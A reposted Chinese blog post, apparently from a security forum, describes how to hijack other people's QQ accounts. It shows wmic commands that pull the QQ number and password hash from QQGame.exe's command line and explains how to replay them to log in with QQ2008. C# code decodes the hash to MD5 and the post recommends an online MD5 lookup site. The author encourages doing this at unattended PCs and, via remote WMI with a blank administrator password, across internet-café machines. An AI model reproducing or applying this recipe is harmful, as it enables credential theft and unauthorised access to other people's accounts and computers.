转自:http://blog.csdn.net/CsToD/archive/2010/02/28/5333988.aspx
作者:ssyfzy(十三亿分之一的缩写)
大家知道,当我们登录QQ后,可以直接在QQ上启动QQ游戏,这时候QQ游戏会启动,并以当前QQ用户进行登录,而不需要输入QQ号及密码。
我这个人应该算是比较善于思考的了(-^_^-),我想QQ肯定是通过某种方式把QQ号及密码信息传递给QQ游戏了。
我们来看一下QQ游戏的命令行(有的任务管理器可以直接看到):
打开命令提示符窗口
输入wmic 回车 (如果是第一次使用wmic,会提示正在安装,稍等几秒钟就行了)
然后输入process 回车
此时会显示所有的进程,找到QQ游戏(QQGame.exe),会发现其命令行有这样一段:
/START QQUIN:xxx PWDHASH:xxx
(也可以直接在命令行下输入wmic process where "Name='QQGame.exe'" Get CommandLine)
此时其实已经可以算是破解成功了,因为你已经可以在命令行下输入以下内容进行登录了:
QQ.exe全路径 /START QQUIN:xxx PWDHASH:xxx
由于QQ2009之后已经不支持命令行登录了,所以需要使用QQ2008或更早版本(注意:这里只要求破解者使用QQ2008 ,被破解者则无要求,所以对破解而言是没有任何障碍的,你完全可以趁某人离开位置而没有关QQ时,用其QQ打开QQ游戏(当然,如果已经打开了,就不需要了),然后用上面的方法获得命令行,保存起来(例如保存到邮箱),然后回家慢慢破,呵呵(-@_@-)
现在我来解释一下:
QQUIN后面的相信你已经看出来了,其实就是QQ号,而PWDHASH是什么呢,它其实是密码通过MD5加密后,再经Base64转换而得的,C#代码如下:
string GetPWDHASH(string password)
{
byte[] passwordBytes = Encoding.ASCII.GetBytes(password);
byte[] md5Bytes = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(passwordBytes);
string base64 = Convert.ToBase64String(md5Bytes);
return base64;
}
知道了加密原理,解密就不难了,但是由于MD5算法是哈希算法,不可逆的,所以我们只能获得其MD5值,没有十分有效的方法获得原始密码,获得MD5值的C#代码如下:
string GetMD5FromPWDHASH(string PWDHASH)
{
byte[] md5Bytes = Convert.FromBase64String(PWDHASH);
string md5 = BitConverter.ToString(md5Bytes).Replace("-", "");
return md5;
}
前面说到,MD5是不可逆的,但是也不是说完全不可破解,如果密码比较简单,可以采用暴力破解,不过我推荐使用在线MD5查询网站来破,比如http://www.cmd5.com。
当然,其实大可不必知道其真正的密码,因为你只需要知道其PWDHASH,你就已经可以使用该QQ进行登录了。
另外,现在有的网吧安全性比较差,可以直接使用WMI进行远程操作(WMI不在本文的讨论范畴,我只给一条命令,不作解释:/node:ip /user:administrator /password: "" process),这样就更爽了,只需要在网吧转一圈,观察哪些人在玩QQ游戏,然后就可以下手了,呵呵。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!